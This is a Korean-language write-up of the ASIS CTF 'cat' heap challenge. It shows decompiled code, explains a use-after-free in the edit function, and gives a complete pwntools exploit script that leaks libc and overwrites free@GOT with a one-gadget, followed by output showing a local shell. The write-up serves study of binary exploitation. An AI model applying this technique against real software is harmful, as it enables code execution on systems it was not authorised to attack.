본문으로 바로가기

ASIS CTF cat ( write - up )

Content

  • Using After Free

  • GOT overwrite


Analysis

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
 signed int true; // [rsp+8h] [rbp-28h]
 char buf; // [rsp+10h] [rbp-20h]
 unsigned __int64 canary; // [rsp+28h] [rbp-8h]

 canary = __readfsqword(0x28u);
 setup();
 print_banner();
 true = 1;
 while ( true )
{
   menu();
   printf("which command?\n> ");
   read(0, &buf, 4uLL);
   switch ( atoi(&buf) )
  {
     case 1:
       create();
       break;
     case 2:
       edit();
       break;
     case 3:
       print();
       break;
     case 4:
       print_all();
       break;
     case 5:
       delete();
       break;
     case 6:
       true = 0;
       break;
     default:
       puts("Invalid command! (=+_+=)");
       break;
  }
}
 return 0LL;
}

평범한 메뉴챌린지이다.


create()

__int64 create()
{
 void **name; // rbx
 __int64 kind; // rbx
 __int64 old; // rbx
 unsigned int records; // [rsp+4h] [rbp-3Ch]
 signed int i; // [rsp+8h] [rbp-38h]
 char tmp; // [rsp+10h] [rbp-30h]
 unsigned __int64 canary; // [rsp+28h] [rbp-18h]

 canary = __readfsqword(0x28u);
 records = -1;
 for ( i = 0; i <= 9; ++i )
{
   if ( !heap[i] )
  {
     records = i;
     break;
  }
}
 if ( records == -1 )
{
   puts("records is full! (=+_+=)");
}
 else
{
   heap[records] = malloc(0x18uLL);
   name = heap[records];
   *name = malloc(0x17uLL);
   kind = heap[records];
   *(kind + 8) = malloc(0x17uLL);
   printf("What's the pet's name?\n> ");
   *(read(0, *heap[records], 0x16uLL) - 1LL + *heap[records]) = '\0';
   printf("What's the pet's kind?\n> ");
   *(read(0, *(heap[records] + 1), 0x16uLL) - 1LL + *(heap[records] + 1)) = '\0';
   printf("How old?\n> ");
   read(0, &tmp, 4uLL);
   old = heap[records];
   *(old + 16) = atoi(&tmp);
   printf("create record id:%d\n", records);
}
 return 0LL;
}

청크에 name -> kind -> heap pointer management순으로 값을 채워넣는다.

create함수를 보아 아래와 같은 구조체를 사용함을 알 수 있다.


struct pet
{
   char* name;
   char* kind;
   int age;
};

청크를 하나 할당하면 heap이라는 전역변수에서 청크를 관리하며, 아래와 같은 layout을 가진다.


malloc(0x18) - pointer management
1. fd : &name
2. bk : &kind
3. next chunk's prev_size : age
malloc(0x17) - name
malloc(0x17) - kind

0x1e35000:     0x0000000000000000     0x0000000000000021
0x1e35010:     &name (0x1e35030)       &kind (0x1e35050)
0x1e35020:     age                             0x0000000000000021
0x1e35030:     0x4141414141414141     0x0000000000000000
0x1e35040:     0x0000000000000000     0x0000000000000021
0x1e35050:     0x4242424242424242     0x0000000000000000
0x1e35060:     0x0000000000000000     0x0000000000020fa1
0x1e35070:     0x0000000000000000     0x0000000000000000
0x1e35080:     0x0000000000000000     0x0000000000000000
0x1e35090:     0x0000000000000000     0x0000000000000000

전역변수 heap에는 첫번째로 malloc(0x18)된 청크만 들어간다.


delete()

__int64 delete()
{
 __int64 result; // rax
 unsigned int v1; // [rsp+Ch] [rbp-4h]

 v1 = read_id();
 if ( v1 == -1 )
{
   puts("Invalid id! (=+_+=)");
   result = 0LL;
}
 else
{
   if ( heap[v1] )
  {
     free(heap[v1]->name);
     free(heap[v1]->kind);
     free(heap[v1]);
     heap[v1] = '\0';
     printf("delete id %d\n", v1);
  }
   else
  {
     puts("Invalid id! (=+_+=)");
  }
   result = 0LL;
}
 return result;
}

read_idid를 받아서 모든 청크를 free시키고, 전역변수에 NULL을 넣는다.


edit()

__int64 edit()
{
 __int64 result; // rax
 pet *v1; // rbx
 __int64 v2; // rbx
 char *name; // rsi
 int read_size; // ST0C_4
 int kind_size; // eax
 __int64 v6; // rbx
 char *ptr; // ST10_8
 char *old; // ST18_8
 unsigned int id; // [rsp+8h] [rbp-48h]
 char buf; // [rsp+20h] [rbp-30h]
 unsigned __int64 canary; // [rsp+38h] [rbp-18h]

 canary = __readfsqword(0x28u);
 id = read_id();
 if ( id == -1 )
{
   puts("Invalid id! (=+_+=)");
   result = 0LL;
}
 else if ( heap[id] )
{
   if ( !pointer )
  {
     pointer = malloc(0x18uLL);
     v1 = pointer;
     v1->name = malloc(0x17uLL);
     v2 = pointer;
     *(v2 + 8) = malloc(0x17uLL);
  }
   printf("What's the pet's name?\n> ");
   name = pointer->name;
   read_size = read(0, pointer->name, 0x16uLL);
   pointer->name[read_size - 1] = 0;
   printf("What's the pet's kind?\n> ", name);
   kind_size = read(0, pointer->kind, 0x16uLL);
   pointer->kind[kind_size - 1] = 0;
   printf("How old?\n> ");
   read(0, &buf, 4uLL);
   v6 = pointer;
   *(v6 + 16) = atoi(&buf);
   printf("Would you modify? (y)/n> ", &buf);
   read(0, &buf, 4uLL);
   if ( buf == 'n' )
  {
     ptr = pointer->name;
     old = pointer->kind;
     free(pointer);
     free(ptr);
     free(old);
  }
   else
  {
     free(heap[id]->name);
     free(heap[id]->kind);
     free(heap[id]);
     heap[id] = pointer;
     pointer = 0LL;
     printf("edit id %d\n", id);
  }
   result = 0LL;
}
 else
{
   puts("Invalid id! (=+_+=)");
   result = 0LL;
}
 return result;
}

먼저, id를 하나 입력받는다.

그리고 pointer라는 전역변수 포인터에 name,kind,age를 할당하고, heap[id]의 값과 pointer에 할당된 값을 교체할 것인지 물어본다.

여기서 'n'이외의 값을 입력하면, 기존에 있던 heap[id]free시키고, heap[id]pointer값을 대입시키고, pointerNULL로 초기화한다.

즉, 기존 청크와 새로 만든 pointer청크를 교체하는 것이다.


하지만 여기서 'n'을 입력하면 그냥 청크를 free시키기만 한다.

여기서 포인터를 NULL로 초기화 하는 등의 루틴이 없다.

즉, UAF가 발생한다.


print_

__int64 print()
{
 __int64 result; // rax
 unsigned int id; // [rsp+Ch] [rbp-4h]

 id = read_id();
 if ( id == -1 )
{
   puts("Invalid id! (=+_+=)");
   result = 0LL;
}
 else
{
   if ( heap[id] )
  {
     printf("name: %s\nkind: %s\nold: %lu\n", heap[id]->name, heap[id]->kind, *&heap[id]->age);
     printf("print id %d\n", id);
  }
   else
  {
     puts("Invalid id! (=+_+=)");
  }
   result = 0LL;
}
 return result;
}

그냥 출력함수이다.


Exploit

create("AAAAA","AAAAA","1111")
edit(0,"XXXXX","XXXXX","1111","n")

먼저 위와같이 해주고 create로 새로운 청크를 하나 더 만들어주면, free된 청크에 값이 채워진다.

이 과정에서 힙 포인터를 덮어서 AAW을 만들 수 있다.

여기서 print_를 통하여 AAR도 발생하게 된다.

마지막으로 동일한 방법으로 GOToneshot을 덮으면 된다.


from pwn import *

#context.log_level = "debug"

binary = "./cat"
e = ELF(binary)
libc = e.libc
r = process(binary)

go = lambda x : r.sendafter("> ",str(x))

def create(name,kind,old):
   go(1)
   go(name)
   go(kind)
   go(old)

def edit(index,name,kind,old,modify):
   go(2)
   go(index)
   go(name)
   go(kind)
   go(old)
   go(modify)

def print_(index):
   go(3)
   go(index)

def print_all():
   go(4)
   
def delete(index):
   go(5)
   go(index)
   
ptr = 0x6020a0
pointer = 0x6020f0

create("AAAAA","AAAAA","1111")
edit(0,"XXXXX","XXXXX","1111","n")

create("AAAAA",p64(ptr + 0x10),"1111") # name, fd
edit(0,p64(e.got["free"]),p64(e.got["free"]),"1111","y") # ptr, fd

print_(1)
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= libc.symbols["free"]
log.info("libc_base : " + hex(libc_base))

create("AAAAA","AAAAA","1111")

create("AAAAA","AAAAA","1111")
edit(4,"XXXXX","XXXXX","1111","n")

create("AAAAA",p64(e.got["free"]),"1111")
edit(4,p64(libc_base + 0xf02a4),"XXXXX","1111","n")

r.interactive()

일단 ptr + 0x10free@got를 만들어준다.

이렇게 libc leak을 해준다.

그리고 망가진 레이아웃을 다시 고치기 위하여 힙을 하나 할당하고, 이전과 같은 방법을 사용하여 free@gotoneshot을 넣어주면 된다!



Shell

juntae@ubuntu:~/ctf/asis/cat$ p ex.py 
[*] '/home/juntae/ctf/asis/cat/cat'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Starting local process './cat': pid 3559
[*] libc_base : 0x7f504fc85000
[*] Switching to interactive mode
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)